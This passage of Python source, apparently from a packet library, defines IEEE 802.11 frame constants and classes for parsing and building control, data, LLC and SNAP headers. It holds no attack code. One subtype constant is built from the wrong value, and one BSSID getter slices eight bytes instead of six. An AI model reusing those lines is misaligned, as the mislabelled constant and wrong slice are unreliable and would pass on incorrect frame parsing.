= int(\"10\",2)\n    DOT11_SUBTYPE_DATA                             = int(\"0000\",2)\n    DOT11_SUBTYPE_DATA_CF_ACK                      = int(\"0001\",2)\n    DOT11_SUBTYPE_DATA_CF_POLL                     = int(\"0010\",2)\n    DOT11_SUBTYPE_DATA_CF_ACK_CF_POLL              = int(\"0011\",2)\n    DOT11_SUBTYPE_DATA_NULL_NO_DATA                = int(\"0100\",2)\n    DOT11_SUBTYPE_DATA_CF_ACK_NO_DATA              = int(\"0101\",2)\n    DOT11_SUBTYPE_DATA_CF_POLL_NO_DATA             = int(\"0110\",2)\n    DOT11_SUBTYPE_DATA_CF_ACK_CF_POLL_NO_DATA      = int(\"0111\",2)\n    DOT11_SUBTYPE_DATA_QOS_DATA                    = int(\"1000\",2)\n    DOT11_SUBTYPE_DATA_QOS_DATA_CF_ACK             = int(\"1001\",2)\n    DOT11_SUBTYPE_DATA_QOS_DATA_CF_POLL            = int(\"1010\",2)\n    DOT11_SUBTYPE_DATA_QOS_DATA_CF_ACK_CF_POLL     = int(\"1011\",2)\n    DOT11_SUBTYPE_DATA_QOS_NULL_NO_DATA            = int(\"1100\",2)\n    DOT11_SUBTYPE_DATA_RESERVED1                   = int(\"1101\",2)\n    DOT11_SUBTYPE_DATA_QOS_CF_POLL_NO_DATA         = int(\"1110\",2)\n    DOT11_SUBTYPE_DATA_QOS_CF_ACK_CF_POLL_NO_DATA  = int(\"1111\",2)\n\n    DOT11_TYPE_DATA_SUBTYPE_DATA = \\\n        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA<<2\n    DOT11_TYPE_DATA_SUBTYPE_CF_ACK = \\\n        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_CF_ACK<<2\n    DOT11_TYPE_DATA_SUBTYPE_CF_POLL = \\\n        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_CF_POLL<<2\n    DOT11_TYPE_DATA_SUBTYPE_CF_ACK_CF_POLL = \\\n        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_CF_ACK_CF_POLL<<2\n    DOT11_TYPE_DATA_SUBTYPE_NULL_NO_DATA = \\\n        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_NULL_NO_DATA<<2\n    DOT11_TYPE_DATA_SUBTYPE_CF_ACK_NO_DATA = \\\n        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_CF_POLL_NO_DATA<<2\n    DOT11_TYPE_DATA_SUBTYPE_CF_ACK_CF_POLL_NO_DATA = \\\n        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_CF_ACK_CF_POLL_NO_DATA<<2\n    DOT11_TYPE_DATA_SUBTYPE_QOS_DATA = \\\n        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_DATA<<2\n    DOT11_TYPE_DATA_SUBTYPE_QOS_DATA_CF_ACK = \\\n        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_DATA_CF_ACK<<2\n    DOT11_TYPE_DATA_SUBTYPE_QOS_DATA_CF_POLL = \\\n        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_DATA_CF_POLL<<2\n    DOT11_TYPE_DATA_SUBTYPE_QOS_DATA_CF_ACK_CF_POLL = \\\n        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_DATA_CF_ACK_CF_POLL<<2\n    DOT11_TYPE_DATA_SUBTYPE_QOS_NULL_NO_DATA = \\\n        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_NULL_NO_DATA<<2\n    DOT11_TYPE_DATA_SUBTYPE_RESERVED1 = \\\n        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_RESERVED1<<2\n    DOT11_TYPE_DATA_SUBTYPE_QOS_CF_POLL_NO_DATA = \\\n        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_CF_POLL_NO_DATA<<2\n    DOT11_TYPE_DATA_SUBTYPE_QOS_CF_ACK_CF_POLL_NO_DATA = \\\n        DOT11_TYPE_DATA|DOT11_SUBTYPE_DATA_QOS_CF_ACK_CF_POLL_NO_DATA<<2\n\n    # Reserved Types/SubTypes\n    DOT11_TYPE_RESERVED = int(\"11\",2)\n    DOT11_SUBTYPE_RESERVED_RESERVED1               = int(\"0000\",2)\n    DOT11_SUBTYPE_RESERVED_RESERVED2               = int(\"0001\",2)\n    DOT11_SUBTYPE_RESERVED_RESERVED3               = int(\"0010\",2)\n    DOT11_SUBTYPE_RESERVED_RESERVED4               = int(\"0011\",2)\n    DOT11_SUBTYPE_RESERVED_RESERVED5               = int(\"0100\",2)\n    DOT11_SUBTYPE_RESERVED_RESERVED6               = int(\"0101\",2)\n    DOT11_SUBTYPE_RESERVED_RESERVED7               = int(\"0110\",2)\n    DOT11_SUBTYPE_RESERVED_RESERVED8               = int(\"0111\",2)\n    DOT11_SUBTYPE_RESERVED_RESERVED9               = int(\"1000\",2)\n    DOT11_SUBTYPE_RESERVED_RESERVED10              = int(\"1001\",2)\n    DOT11_SUBTYPE_RESERVED_RESERVED11              = int(\"1010\",2)\n    DOT11_SUBTYPE_RESERVED_RESERVED12              = int(\"1011\",2)\n    DOT11_SUBTYPE_RESERVED_RESERVED13              = int(\"1100\",2)\n    DOT11_SUBTYPE_RESERVED_RESERVED14              = int(\"1101\",2)\n    DOT11_SUBTYPE_RESERVED_RESERVED15              = int(\"1110\",2)\n    DOT11_SUBTYPE_RESERVED_RESERVED16              = int(\"1111\",2)\n\n    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED1 = \\\n        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED1<<2\n    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED2 = \\\n        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED2<<2\n    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED3 = \\\n        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED3<<2\n    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED4 = \\\n        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED4<<2\n    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED5 = \\\n        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED5<<2\n    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED6 = \\\n        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED6<<2\n    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED7 = \\\n        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED7<<2\n    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED8 = \\\n        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED8<<2\n    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED9 = \\\n        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED9<<2\n    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED10 = \\\n        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED10<<2\n    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED11 = \\\n        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED11<<2\n    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED12 = \\\n        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED12<<2\n    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED13 = \\\n        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED13<<2\n    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED14 = \\\n        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED14<<2\n    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED15 = \\\n        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED15<<2\n    DOT11_TYPE_RESERVED_SUBTYPE_RESERVED16 = \\\n        DOT11_TYPE_RESERVED|DOT11_SUBTYPE_RESERVED_RESERVED16<<2\n\nclass Dot11(ProtocolPacket):    \n    def __init__(self, aBuffer = None, FCS_at_end = True):\n        header_size = 2\n        self.__FCS_at_end=not not FCS_at_end # Is Boolean\n        if self.__FCS_at_end:\n            tail_size = 4\n        else:\n            tail_size = 0\n            \n        ProtocolPacket.__init__(self, header_size,tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n        \n    def get_order(self):\n        \"Return 802.11 frame 'Order' field\"\n        b = self.header.get_byte(1)\n        return ((b >> 7) & 0x01)\n\n    def set_order(self, value):\n        \"Set 802.11 frame 'Order' field\"\n        # clear the bits\n        mask = (~0x80) & 0xFF\n        masked = self.header.get_byte(1) & mask\n        # set the bits\n        nb = masked | ((value & 0x01) << 7)\n        self.header.set_byte(1, nb)\n\n    def get_protectedFrame(self):\n        \"Return 802.11 frame 'Protected' field\"\n        b = self.header.get_byte(1)\n        return ((b >> 6) & 0x01)\n\n    def set_protectedFrame(self, value):\n        \"Set 802.11 frame 'Protected Frame' field\"\n        # clear the bits\n        mask = (~0x40) & 0xFF\n        masked = self.header.get_byte(1) & mask\n        # set the bits\n        nb = masked | ((value & 0x01) << 6)\n        self.header.set_byte(1, nb)\n\n    def get_moreData(self):\n        \"Return 802.11 frame 'More Data' field\"\n        b = self.header.get_byte(1)\n        return ((b >> 5) & 0x01)\n\n    def set_moreData(self, value):\n        \"Set 802.11 frame 'More Data' field\"\n        # clear the bits\n        mask = (~0x20) & 0xFF\n        masked = self.header.get_byte(1) & mask\n        # set the bits\n        nb = masked | ((value & 0x01) << 5)\n        self.header.set_byte(1, nb)\n        \n    def get_powerManagement(self):\n        \"Return 802.11 frame 'Power Management' field\"\n        b = self.header.get_byte(1)\n        return ((b >> 4) & 0x01)\n\n    def set_powerManagement(self, value):\n        \"Set 802.11 frame 'Power Management' field\"\n        # clear the bits\n        mask = (~0x10) & 0xFF\n        masked = self.header.get_byte(1) & mask\n        # set the bits\n        nb = masked | ((value & 0x01) << 4)\n        self.header.set_byte(1, nb)\n  \n    def get_retry(self):\n        \"Return 802.11 frame 'Retry' field\"\n        b = self.header.get_byte(1)\n        return ((b >> 3) & 0x01)\n\n    def set_retry(self, value):\n        \"Set 802.11 frame 'Retry' field\"\n        # clear the bits\n        mask = (~0x08) & 0xFF\n        masked = self.header.get_byte(1) & mask\n        # set the bits\n        nb = masked | ((value & 0x01) << 3)\n        self.header.set_byte(1, nb)   \n        \n    def get_moreFrag(self):\n        \"Return 802.11 frame 'More Fragments' field\"\n        b = self.header.get_byte(1)\n        return ((b >> 2) & 0x01)\n\n    def set_moreFrag(self, value):\n        \"Set 802.11 frame 'More Fragments' field\"\n        # clear the bits\n        mask = (~0x04) & 0xFF\n        masked = self.header.get_byte(1) & mask\n        # set the bits\n        nb = masked | ((value & 0x01) << 2)\n        self.header.set_byte(1, nb)  \n               \n    def get_fromDS(self):\n        \"Return 802.11 frame 'from DS' field\"\n        b = self.header.get_byte(1)\n        return ((b >> 1) & 0x01)\n\n    def set_fromDS(self, value):\n        \"Set 802.11 frame 'from DS' field\"\n        # clear the bits\n        mask = (~0x02) & 0xFF\n        masked = self.header.get_byte(1) & mask\n        # set the bits\n        nb = masked | ((value & 0x01) << 1)\n        self.header.set_byte(1, nb)\n         \n    def get_toDS(self):\n        \"Return 802.11 frame 'to DS' field\"\n        b = self.header.get_byte(1)\n        return (b & 0x01)\n\n    def set_toDS(self, value):\n        \"Set 802.11 frame 'to DS' field\"\n        # clear the bits\n        mask = (~0x01) & 0xFF\n        masked = self.header.get_byte(1) & mask\n        # set the bits\n        nb = masked | (value & 0x01) \n        self.header.set_byte(1, nb)    \n        \n    def get_subtype(self):\n        \"Return 802.11 frame 'subtype' field\"\n        b = self.header.get_byte(0)\n        return ((b >> 4) & 0x0F)\n\n    def set_subtype(self, value):\n        \"Set 802.11 frame 'subtype' field\"\n        # clear the bits\n        mask = (~0xF0)&0xFF \n        masked = self.header.get_byte(0) & mask \n        # set the bits\n        nb = masked | ((value << 4) & 0xF0)\n        self.header.set_byte(0, nb)\n        \n    def get_type(self):\n        \"Return 802.11 frame 'type' field\"\n        b = self.header.get_byte(0)\n        return ((b >> 2) & 0x03)\n\n    def set_type(self, value):\n        \"Set 802.11 frame 'type' field\"\n        # clear the bits\n        mask = (~0x0C)&0xFF \n        masked = self.header.get_byte(0) & mask \n        # set the bits\n        nb = masked | ((value << 2) & 0x0C)\n        self.header.set_byte(0, nb)\n\n    def get_type_n_subtype(self):\n        \"Return 802.11 frame 'Type and Subtype' field\"\n        b = self.header.get_byte(0)\n        return ((b >> 2) & 0x3F)\n\n    def set_type_n_subtype(self, value):\n        \"Set 802.11 frame 'Type and Subtype' field\"\n        # clear the bits\n        mask = (~0xFC)&0xFF \n        masked = self.header.get_byte(0) & mask \n        # set the bits\n        nb = masked | ((value << 2) & 0xFC)\n        self.header.set_byte(0, nb)\n\n    def get_version(self):\n        \"Return 802.11 frame control 'Protocol version' field\"\n        b = self.header.get_byte(0)\n        return (b & 0x03)\n\n    def set_version(self, value):\n        \"Set the 802.11 frame control 'Protocol version' field\"\n        # clear the bits\n        mask = (~0x03)&0xFF \n        masked = self.header.get_byte(0) & mask \n        # set the bits\n        nb = masked | (value & 0x03)\n        self.header.set_byte(0, nb)\n        \n    def compute_checksum(self,bytes):\n        crcle=crc32(bytes)&0xffffffff\n        # ggrr this crc32 is in little endian, convert it to big endian \n        crc=struct.pack('<L', crcle)\n         # Convert to long\n        (crc_long,) = struct.unpack('!L', crc)\n        return crc_long\n\n    def is_QoS_frame(self):\n        \"Return 'True' if is an QoS data frame type\"\n        \n        b = self.header.get_byte(0)\n        return (b & 0x80) and True        \n\n    def is_no_framebody_frame(self):\n        \"Return 'True' if it frame contain no Frame Body\"\n        \n        b = self.header.get_byte(0)\n        return (b & 0x40) and True\n\n    def is_cf_poll_frame(self):\n        \"Return 'True' if it frame is a CF_POLL frame\"\n        \n        b = self.header.get_byte(0)\n        return (b & 0x20) and True\n\n    def is_cf_ack_frame(self):\n        \"Return 'True' if it frame is a CF_ACK frame\"\n        \n        b = self.header.get_byte(0)\n        return (b & 0x10) and True\n    \n    def get_fcs(self):\n        \"Return 802.11 'FCS' field\"\n        \n        if not self.__FCS_at_end:\n            return None   \n\n        b = self.tail.get_long(-4, \">\")\n        return b \n\n    def set_fcs(self, value = None):\n        \"Set the 802.11 CTS control frame 'FCS' field. If value is None, is auto_checksum\"\n\n        if not self.__FCS_at_end:   \n            return\n        \n        # calculate the FCS\n        if value is None:\n            payload = self.get_body_as_string()\n            crc32=self.compute_checksum(payload)            \n            value=crc32\n\n        # set the bits\n        nb = value & 0xFFFFFFFF\n        self.tail.set_long(-4, nb)\n\nclass Dot11ControlFrameCTS(ProtocolPacket):\n    \"802.11 Clear-To-Send Control Frame\"\n    \n    def __init__(self, aBuffer = None):\n        header_size = 8\n        tail_size = 0\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n            \n    def get_duration(self):\n        \"Return 802.11 CTS control frame 'Duration' field\"\n        b = self.header.get_word(0, \"<\")\n        return b \n\n    def set_duration(self, value):\n        \"Set the 802.11 CTS control frame 'Duration' field\" \n        # set the bits\n        nb = value & 0xFFFF\n        self.header.set_word(0, nb, \"<\")\n        \n    def get_ra(self):\n        \"Return 802.11 CTS control frame 48 bit 'Receiver Address' field as a 6 bytes array\"\n        return self.header.get_bytes()[2:8]\n\n    def set_ra(self, value):\n        \"Set 802.11 CTS control frame 48 bit 'Receiver Address' field as a 6 bytes array\"\n        for i in range(0, 6):\n            self.header.set_byte(2+i, value[i])\n\nclass Dot11ControlFrameACK(ProtocolPacket):\n    \"802.11 Acknowledgement Control Frame\"\n        \n    def __init__(self, aBuffer = None):\n        header_size = 8\n        tail_size = 0\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n            \n    def get_duration(self):\n        \"Return 802.11 ACK control frame 'Duration' field\"\n        b = self.header.get_word(0, \"<\")\n        return b \n\n    def set_duration(self, value):\n        \"Set the 802.11 ACK control frame 'Duration' field\" \n        # set the bits\n        nb = value & 0xFFFF\n        self.header.set_word(0, nb, \"<\")\n        \n    def get_ra(self):\n        \"Return 802.11 ACK control frame 48 bit 'Receiver Address' field as a 6 bytes array\"\n        return self.header.get_bytes()[2:8]\n\n    def set_ra(self, value):\n        \"Set 802.11 ACK control frame 48 bit 'Receiver Address' field as a 6 bytes array\"\n        for i in range(0, 6):\n            self.header.set_byte(2+i, value[i])\n\nclass Dot11ControlFrameRTS(ProtocolPacket):\n    \"802.11 Request-To-Send Control Frame\"\n        \n    def __init__(self, aBuffer = None):\n        header_size = 14\n        tail_size = 0\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n    \n    def get_duration(self):\n        \"Return 802.11 RTS control frame 'Duration' field\"\n        b = self.header.get_word(0, \"<\")\n        return b \n\n    def set_duration(self, value):\n        \"Set the 802.11 RTS control frame 'Duration' field\" \n        # set the bits\n        nb = value & 0xFFFF\n        self.header.set_word(0, nb, \"<\")\n        \n    def get_ra(self):\n        \"Return 802.11 RTS control frame 48 bit 'Receiver Address' field as a 6 bytes array\"\n        return self.header.get_bytes()[2:8]\n\n    def set_ra(self, value):\n        \"Set 802.11 RTS control frame 48 bit 'Receiver Address' field as a 6 bytes array\"\n        for i in range(0, 6):\n            self.header.set_byte(2+i, value[i])\n\n    def get_ta(self):\n        \"Return 802.11 RTS control frame 48 bit 'Transmitter Address' field as a 6 bytes array\"\n        return self.header.get_bytes()[8:14]\n\n    def set_ta(self, value):\n        \"Set 802.11 RTS control frame 48 bit 'Transmitter Address' field as a 6 bytes array\"\n        for i in range(0, 6):\n            self.header.set_byte(8+i, value[i])            \n\nclass Dot11ControlFramePSPoll(ProtocolPacket):\n    \"802.11 Power-Save Poll Control Frame\"\n    \n    def __init__(self, aBuffer = None):\n        header_size = 14\n        tail_size = 0\n        \n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n\n    def get_aid(self):\n        \"Return 802.11 PSPoll control frame 'AID' field\"\n        # the spec says \"The AID value always has its two MSBs each set to 1.\"\n        # TODO: Should we do check/modify it? Wireshark shows the only MSB to 0\n        b = self.header.get_word(0, \"<\")\n        return b \n\n    def set_aid(self, value):\n        \"Set the 802.11 PSPoll control frame 'AID' field\" \n        # set the bits\n        nb = value & 0xFFFF\n        # the spec says \"The AID value always has its two MSBs each set to 1.\"\n        # TODO: Should we do check/modify it? Wireshark shows the only MSB to 0\n        self.header.set_word(0, nb, \"<\")\n        \n    def get_bssid(self):\n        \"Return 802.11 PSPoll control frame 48 bit 'BSS ID' field as a 6 bytes array\"\n        return self.header.get_bytes()[2:8]\n\n    def set_bssid(self, value):\n        \"Set 802.11 PSPoll control frame 48 bit 'BSS ID' field as a 6 bytes array\"\n        for i in range(0, 6):\n            self.header.set_byte(2+i, value[i])\n\n    def get_ta(self):\n        \"Return 802.11 PSPoll control frame 48 bit 'Transmitter Address' field as a 6 bytes array\"\n        return self.header.get_bytes()[8:14]\n\n    def set_ta(self, value):\n        \"Set 802.11 PSPoll control frame 48 bit 'Transmitter Address' field as a 6 bytes array\"\n        for i in range(0, 6):\n            self.header.set_byte(8+i, value[i])            \n\nclass Dot11ControlFrameCFEnd(ProtocolPacket):\n    \"802.11 'Contention Free End' Control Frame\"\n    \n    def __init__(self, aBuffer = None):\n        header_size = 14\n        tail_size = 0\n    \n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n\n    def get_duration(self):\n        \"Return 802.11 CF-End control frame 'Duration' field\"\n        b = self.header.get_word(0, \"<\")\n        return b \n\n    def set_duration(self, value):\n        \"Set the 802.11 CF-End control frame 'Duration' field\" \n        # set the bits\n        nb = value & 0xFFFF\n        self.header.set_word(0, nb, \"<\")\n        \n    def get_ra(self):\n        \"Return 802.11 CF-End control frame 48 bit 'Receiver Address' field as a 6 bytes array\"\n        return self.header.get_bytes()[2:8]\n\n    def set_ra(self, value):\n        \"Set 802.11 CF-End control frame 48 bit 'Receiver Address' field as a 6 bytes array\"\n        for i in range(0, 6):\n            self.header.set_byte(2+i, value[i])\n\n    def get_bssid(self):\n        \"Return 802.11 CF-End control frame 48 bit 'BSS ID' field as a 6 bytes array\"\n        return self.header.get_bytes()[8:14]\n\n    def set_bssid(self, value):\n        \"Set 802.11 CF-End control frame 48 bit 'BSS ID' field as a 6 bytes array\"\n        for i in range(0, 6):\n            self.header.set_byte(8+i, value[i])            \n\nclass Dot11ControlFrameCFEndCFACK(ProtocolPacket):\n    '802.11 \\'CF-End + CF-ACK\\' Control Frame'\n        \n    def __init__(self, aBuffer = None):\n        header_size = 14\n        tail_size = 0\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n\n    def get_duration(self):\n        'Return 802.11 \\'CF-End+CF-ACK\\' control frame \\'Duration\\' field'\n        b = self.header.get_word(0, \"<\")\n        return b \n\n    def set_duration(self, value):\n        'Set the 802.11 \\'CF-End+CF-ACK\\' control frame \\'Duration\\' field' \n        # set the bits\n        nb = value & 0xFFFF\n        self.header.set_word(0, nb, \"<\")\n        \n    def get_ra(self):\n        'Return 802.11 \\'CF-End+CF-ACK\\' control frame 48 bit \\'Receiver Address\\' field as a 6 bytes array'\n        return self.header.get_bytes()[2:8]\n\n    def set_ra(self, value):\n        'Set 802.11 \\'CF-End+CF-ACK\\' control frame 48 bit \\'Receiver Address\\' field as a 6 bytes array'\n        for i in range(0, 6):\n            self.header.set_byte(2+i, value[i])\n\n    def get_bssid(self):\n        'Return 802.11 \\'CF-End+CF-ACK\\' control frame 48 bit \\'BSS ID\\' field as a 6 bytes array'\n        return self.header.get_bytes()[8:16]\n\n    def set_bssid(self, value):\n        'Set 802.11 \\'CF-End+CF-ACK\\' control frame 48 bit \\'BSS ID\\' field as a 6 bytes array'\n        for i in range(0, 6):\n            self.header.set_byte(8+i, value[i])            \n\nclass Dot11DataFrame(ProtocolPacket):\n    '802.11 Data Frame'\n    \n    def __init__(self, aBuffer = None):\n        header_size = 22\n        tail_size = 0\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n        \n    def get_duration(self):\n        'Return 802.11 \\'Data\\' data frame \\'Duration\\' field'\n        b = self.header.get_word(0, \"<\")\n        return b \n\n    def set_duration(self, value):\n        'Set the 802.11 \\'Data\\' data frame \\'Duration\\' field' \n        # set the bits\n        nb = value & 0xFFFF\n        self.header.set_word(0, nb, \"<\")\n        \n    def get_address1(self):\n        'Return 802.11 \\'Data\\' data frame 48 bit \\'Address1\\' field as a 6 bytes array'\n        return self.header.get_bytes()[2:8]\n\n    def set_address1(self, value):\n        'Set 802.11 \\'Data\\' data frame 48 bit \\'Address1\\' field as a 6 bytes array'\n        for i in range(0, 6):\n            self.header.set_byte(2+i, value[i])\n\n    def get_address2(self):\n        'Return 802.11 \\'Data\\' data frame 48 bit \\'Address2\\' field as a 6 bytes array'\n        return self.header.get_bytes()[8:14]\n\n    def set_address2(self, value):\n        'Set 802.11 \\'Data\\' data frame 48 bit \\'Address2\\' field as a 6 bytes array'\n        for i in range(0, 6):\n            self.header.set_byte(8+i, value[i])\n            \n    def get_address3(self):\n        'Return 802.11 \\'Data\\' data frame 48 bit \\'Address3\\' field as a 6 bytes array'\n        return self.header.get_bytes()[14: 20]\n\n    def set_address3(self, value):\n        'Set 802.11 \\'Data\\' data frame 48 bit \\'Address3\\' field as a 6 bytes array'\n        for i in range(0, 6):\n            self.header.set_byte(14+i, value[i])\n\n    def get_sequence_control(self):\n        'Return 802.11 \\'Data\\' data frame \\'Sequence Control\\' field'\n        b = self.header.get_word(20, \"<\")\n        return b \n\n    def set_sequence_control(self, value):\n        'Set the 802.11 \\'Data\\' data frame \\'Sequence Control\\' field' \n        # set the bits\n        nb = value & 0xFFFF\n        self.header.set_word(20, nb, \"<\")\n\n    def get_fragment_number(self):\n        'Return 802.11 \\'Data\\' data frame \\'Fragment Number\\' subfield'\n\n        b = self.header.get_word(20, \"<\")\n        return (b&0x000F) \n\n    def set_fragment_number(self, value):\n        'Set the 802.11 \\'Data\\' data frame \\'Fragment Number\\' subfield' \n        # clear the bits\n        mask = (~0x000F) & 0xFFFF\n        masked = self.header.get_word(20, \"<\") & mask\n        # set the bits \n        nb = masked | (value & 0x000F)\n        self.header.set_word(20, nb, \"<\")\n        \n    def get_sequence_number(self):\n        'Return 802.11 \\'Data\\' data frame \\'Sequence Number\\' subfield'\n        \n        b = self.header.get_word(20, \"<\")\n        return ((b>>4) & 0xFFF) \n    \n    def set_sequence_number(self, value):\n        'Set the 802.11 \\'Data\\' data frame \\'Sequence Number\\' subfield' \n        # clear the bits\n        mask = (~0xFFF0) & 0xFFFF\n        masked = self.header.get_word(20, \"<\") & mask\n        # set the bits \n        nb = masked | ((value & 0x0FFF ) << 4 ) \n        self.header.set_word(20, nb, \"<\")\n\n    def get_frame_body(self):\n        'Return 802.11 \\'Data\\' data frame \\'Frame Body\\' field'\n        \n        return self.get_body_as_string()\n\n    def set_frame_body(self, data):\n        'Set 802.11 \\'Data\\' data frame \\'Frame Body\\' field'\n        \n        self.load_body(data)\n\nclass Dot11DataQoSFrame(Dot11DataFrame):\n    '802.11 Data QoS Frame'\n    \n    def __init__(self, aBuffer = None):\n        header_size = 24\n        tail_size = 0\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n\n    def get_QoS(self):\n        'Return 802.11 \\'Data\\' data frame \\'QoS\\' field'\n        b = self.header.get_word(22, \"<\")\n        return b \n\n    def set_QoS(self, value):\n        'Set the 802.11 \\'Data\\' data frame \\'QoS\\' field' \n        # set the bits\n        nb = value & 0xFFFF\n        self.header.set_word(22, nb, \"<\")\n\nclass Dot11DataAddr4Frame(Dot11DataFrame):\n    '802.11 Data With ToDS From DS Flags (With Addr 4) Frame'\n\n    def __init__(self, aBuffer = None):\n        header_size = 28\n        tail_size = 0\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n    \n    def get_address4(self):\n        'Return 802.11 \\'Data\\' data frame 48 bit \\'Address4\\' field as a 6 bytes array'\n        return self.header.get_bytes()[22:28]\n        \n    def set_address4(self, value):\n        'Set 802.11 \\'Data\\' data frame 48 bit \\'Address4\\' field as a 6 bytes array'\n        for i in range(0, 6):\n            self.header.set_byte(22+i, value[i])\n\nclass Dot11DataAddr4QoSFrame(Dot11DataAddr4Frame):\n    '802.11 Data With ToDS From DS Flags (With Addr 4) and QoS Frame'\n\n    def __init__(self, aBuffer = None):\n        header_size = 30\n        tail_size = 0\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n    \n    def get_QoS(self):\n        'Return 802.11 \\'Data\\' data frame \\'QoS\\' field'\n        b = self.header.get_word(28, \"<\")\n        return b \n\n    def set_QoS(self, value):\n        'Set the 802.11 \\'Data\\' data frame \\'QoS\\' field' \n        # set the bits\n        nb = value & 0xFFFF\n        self.header.set_word(28, nb, \"<\")\n\nclass SAPTypes():\n    NULL            = 0x00\n    LLC_SLMGMT      = 0x02\n    SNA_PATHCTRL    = 0x04\n    IP              = 0x06\n    SNA1            = 0x08\n    SNA2            = 0x0C\n    PROWAY_NM_INIT  = 0x0E\n    NETWARE1        = 0x10\n    OSINL1          = 0x14\n    TI              = 0x18\n    OSINL2          = 0x20\n    OSINL3          = 0x34\n    SNA3            = 0x40\n    BPDU            = 0x42\n    RS511           = 0x4E\n    OSINL4          = 0x54\n    X25             = 0x7E\n    XNS             = 0x80\n    BACNET          = 0x82\n    NESTAR          = 0x86\n    PROWAY_ASLM     = 0x8E\n    ARP             = 0x98\n    SNAP            = 0xAA\n    HPJD            = 0xB4\n    VINES1          = 0xBA\n    VINES2          = 0xBC\n    NETWARE2        = 0xE0\n    NETBIOS         = 0xF0\n    IBMNM           = 0xF4\n    HPEXT           = 0xF8\n    UB              = 0xFA\n    RPL             = 0xFC\n    OSINL5          = 0xFE\n    GLOBAL          = 0xFF\n\nclass LLC(ProtocolPacket):\n    '802.2 Logical Link Control (LLC) Frame'\n    \n    DLC_UNNUMBERED_FRAMES = 0x03\n\n    def __init__(self, aBuffer = None):\n        header_size = 3\n        tail_size = 0\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n\n    def get_DSAP(self):\n        \"Get the Destination Service Access Point (SAP) from LLC frame\"\n        return self.header.get_byte(0)\n\n    def set_DSAP(self, value):\n        \"Set the Destination Service Access Point (SAP) of LLC frame\"\n        self.header.set_byte(0, value)\n\n    def get_SSAP(self):\n        \"Get the Source Service Access Point (SAP) from LLC frame\"\n        return self.header.get_byte(1)\n\n    def set_SSAP(self, value):\n        \"Set the Source Service Access Point (SAP) of LLC frame\"\n        self.header.set_byte(1, value)\n    \n    def get_control(self):\n        \"Get the Control field from LLC frame\"\n        return self.header.get_byte(2)\n\n    def set_control(self, value):\n        \"Set the Control field of LLC frame\"\n        self.header.set_byte(2, value)\n\nclass SNAP(ProtocolPacket):\n    '802.2 SubNetwork Access Protocol (SNAP) Frame'\n\n    def __init__(self, aBuffer = None):\n        header_size = 5\n        tail_size = 0\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            